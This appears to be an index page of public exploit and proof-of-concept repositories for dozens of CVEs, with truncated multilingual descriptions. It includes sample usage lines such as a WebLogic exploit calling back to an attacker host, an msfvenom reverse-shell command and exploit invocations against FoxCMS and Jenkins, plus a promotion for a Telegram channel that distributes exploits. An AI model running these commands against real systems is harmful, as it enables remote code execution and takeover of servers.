cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 è una vulnerabilità critica nei prodotti FortiOS e FortiProxy di Fortinet, presente nel componente SSL VPN. Questa vulnerabilità consente a un attaccante remoto non autenticato di eseguire codice o comandi arbitrari sul sistema target tramite richieste HTTP...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 Funktionierender POC für CVE 2017-5638 Dieses Repo enthält ein funktionierendes Python-Beispiel, das die RCE-Fähigkeiten von CVE 2017-5638 demonstriert. Zur Referenz ist außerdem die Struts-Showcase-WAR-Datei enthalten...

CVE-2024-29671-POC

NEXTU FLETA Wifi6 路由器 RCE 漏洞利用 POC 本文件描述了如何在 NEXTU FLATA AX1500 路由器固件中利用 CVE-2024-29671 漏洞。 执行环境 该路由器基于 MIPS 架构，采用 Realtek 芯片组，小端序。 目标路由器固件版本为 v1.0.2。 该固件包含一个名为 "boa" 的内嵌 Web 服务器，该服务器最后发布于 2005 年。 然而，该路由器使用 boa Web 服务器提供管理 Web 页面服务，用于控制路由器固件。 漏洞成因 "boa" 二进制程序的安全状态如下所示。 图 1. boa Web 服务器二进制程序...

CVE-2026-29053

Este é um retrabalho do Repo de rootxran para esta mesma CVE - https://github.com/rootxran/CVE-2026-29053 Durante testes contra ambientes específicos do Ghost CMS, o payload do tema original acionou um Erro Fatal do Handlebars. O CMS falhou ao ativar o tema malicioso porque ele referenciava um...

CVE-2025-69906-Monstra-CMS-3.0.4-Arbitrary-File-Upload-to-RCE

CVE-2025-69906: Monstra CMS 3.0.4 Upload Arbitrário de Arquivo para RCE Autor : David PS Abraham Data : 5 de fevereiro de 2026 Severidade : Crítica - Execução Remota de Código CVSS 8.8+ CWE : 434 Upload Irrestrito de Arquivo com Tipo Perigoso Descrição da Vulnerabilidade O plugin Files Manager do...

CVE-2025-29306_poc

Descrição Publicado: 2025-03-27 Atualizado: 2025-03-27 Um problema no FoxCMS v.1.2.5 permite que um atacante remoto execute código arbitrário por meio da página de exibição de caso no componente index.html. Uso: python testpoc.py -u http://192.168.0.1/images/index.html "id" python testpoc.py -f...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 Execução Remota de Código PHPMailer é a classe de transporte mais popular do mundo, com cerca de 9 milhões de usuários em todo o mundo. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii...

CVE-2009-3999

CVE-2009-3999 Exploit do HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASSO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 Dieses Repository ist inspiriert von 0vercl0k für einen Proof-of-Concept für CVE-2021-31166 "HTTP Protocol Stack Remote Code Execution Vulnerability", eine Use-After-Free-Dereferenzierung in http.sys, die von Microsoft im Mai 2021 gepatcht wurde. Build-Infrastruktur...

CVE-2024-43425-Poc

CVE-2024-43425-Poc CVE-Übersicht CVE ID: CVE-2024-43425 Beschreibung: Moodle erlaubt es einem authentifizierten Benutzer mit Lehrerrechten, über die Quiz-Editor-Oberfläche eine schädliche berechnete Frage hochzuladen. Auswirkung: Remote Code Execution RCE Ursache: Unzureichende Bereinigung von...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 Exploit und Writeup. Details CVE-2022-29464 ist eine kritische Schwachstelle in WSO2, die von Orange Tsai entdeckt wurde. Die Schwachstelle ist ein nicht authentifizierter, uneingeschränkter, beliebiger Datei-Upload, der es nicht authentifizierten Angreifern...

CVE-2024-4577-RCE-EXP

TG Tritt uns bei https://t.me/WanLiChangChengWanLiChang Tritt uns bei, um regelmäßig EXP/POCs für verschiedene Schwachstellen zu erhalten CVE-2024-4577-RCE-EXP CVE-2024-4577 PHP-CGI-Schwachstelle für Remote-Codeausführung unter Windows CVE-2024-4577 PHP-CGI-Remote-Code-Execution-Schwachstelle auf...

CVE-2021-45010

CVE-2021-45010 Exploit-Titel: Tiny File Manager 2.4.6 Authentifiziert Remote-Codeausführung Datum: 04 Mar 2023 Exploit-Autor: Syd Software Link: https://github.com/prasathmani/tinyfilemanager Version: Tiny File Manager = 2.4.3 Getestet auf: Parrot OS 20.04 CVE : CVE-2021-45010 Referenz:...

CVE-2020-6418

CVE-2020-6418 Die CVE-2020-6418 betrifft die Typverwechslung in V8 in Google Chrome. Die betroffenen Versionen waren älter als 80.0.3987.122. Die Schwachstelle wird von einem entfernten Angreifer ausgenutzt, der über eine manipulierte HTML-Seite auf die Shell eines Zielgeräts zugreift...

MetabaseRCE_CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 PoC Ein Proof of Concept zu CVE-2023-38646, ein Metabase-Exploit, der es Benutzern ermöglicht, Remote Code Execution durchzuführen, indem das in /api/session/properties gefundene Setup-Token verwendet wird, um einen base64-kodierten Payload zu senden Verwendun...

CVE-2024-34833-payroll-management-system-rce

CVE-2024-34833 Payroll Management System RCE Unauthenticated PoC RCE über Dateiupload für https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html. Die Dateinamen erhalten einen Zeitstempel mit einer Genauigkeit von einer Minute. Das Skript versucht, den...

CVE-2021-22204

CVE-2021-22204 Un PoC completo per CVE-2021-22204 exiftool RCE...

CVE-2017-5638-Remote-Code-Execution-Apache-Struts2-EXPLOITATION

CVE-2017-5638-Remote-Code-Execution-Apache-Struts2-EXPLOITATION...

Exploit-CVE-2024-23897

익스플로잇-CVE-2024-23897 컨테이너 실행 docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17 로그 확인 docker logs 도커 머신 IP 가져오기: docker inspect vulnerable-jenkins | grep IPAddress 익스플로잇 코드: python3 exploit.py --target http://127.0.0.1:8080 --file...